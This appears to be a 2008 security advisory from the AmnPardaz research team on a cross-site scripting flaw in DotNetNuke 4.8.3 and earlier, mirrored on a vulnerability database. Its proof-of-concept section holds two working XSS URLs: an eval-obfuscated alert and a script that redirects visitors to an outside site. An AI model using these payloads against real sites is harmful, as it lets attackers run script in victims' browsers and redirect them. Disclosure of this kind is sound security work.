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securityvulnsSecurityvulnsSECURITYVULNS:DOC:19939
HistoryMay 30, 2008 - 12:00 a.m.

Dot Net Nuke (DNN) <= 4.8.3 XSS Vulnerability

2008-05-3000:00:00
vulners.com
26

########################## www.BugReport.ir #######################################

AmnPardaz Security Research Team

Title: Dot Net Nuke (DNN) XSS Vulnerability.

Vendor: www.dotnetnuke.com

Vulnerable Version: 4.8.3 and prior versions

Exploit: N/A

Impact: Low

Fix: N/A

Original Advisory: http://bugreport.ir/index.php?/38

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  1. Description:
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    DotNetNuke is an open source web application framework ideal for creating, deploying and
    managing interactive web, intranet and extranet sites.

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2. Vulnerability:
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XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx"
string, before "?" or at end of the URL.
In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after
the ".aspx" files. So, using "URL" is better than "PATH_INFO".

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3. PoC:
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- Alert by XSS
http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From
WWW.BugReport.IR/)';eval(x);alert().aspx

    - Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")
            http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var

a='.aspx?';document.location='http://www.bugreport.ir/?archive';

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4. Solution:
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Check the vendor hotfix and use URLScan
(http://www.microsoft.com/technet/security/tools/urlscan.mspx).

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5. Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com